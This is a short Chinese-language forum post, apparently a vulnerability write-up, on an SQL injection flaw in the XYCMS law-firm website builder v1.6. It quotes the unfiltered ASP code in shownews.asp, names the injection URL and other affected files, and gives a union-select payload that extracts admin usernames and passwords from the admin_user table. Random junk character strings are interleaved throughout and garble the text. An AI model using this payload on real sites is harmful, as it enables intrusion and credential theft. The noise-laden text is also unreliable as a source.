XYCMS律师事务所建站系统注入漏洞

admin

前言：刚才蛋疼无聊下载了审计下,就稍微的看了下，漏洞太多。ps：跟有个投稿的板块文章有点类似
# v' M" e) ?) B, ^
( q# b/ l: Y3 B! I9 y9 y淫荡分割线
--------------------------------------------------------
  d; h/ ^+ f5 V. Z8 T0 D
" f! f- W5 _8 f, V. \6 h审计版本：XYCMS律师事务所建站系统 v1.6(其他版本自测)
源码地址:http://down.chinaz.com/soft/29233.htm

漏洞文件:shownews.asp
漏洞代码：7-13行

6 G6 |2 ]6 @3 N6 ?2 J$ u
<%
1 r- a0 g# Y0 q! b/ j9 a. a' z  oid=request.QueryString("id")
, Z# D& i3 ?2 M4 R2 f2 O   
set snews=server.createobject("adodb.recordset")
exec="select * from [news] where id="&id
snews.open exec,conn,1,1
7 z8 Y; Q  y+ u3 ~%>

+ s# Y$ n& d6 R5 G1 Z$ c, U8 M
什么过滤都没有  直造成注入
3 x  |. M' a- M# F- y3 a( |1 S$ Y2 n
注入点:http://127.0.0.1:99/shownews.asp?id=xx

其余相同漏洞文件:showdxal.asp,showfwly.asp 等等自己找
2 j4 \# {3 Q" R, b

exp: union select 1,admin,password,4,5,7 from admin_user
​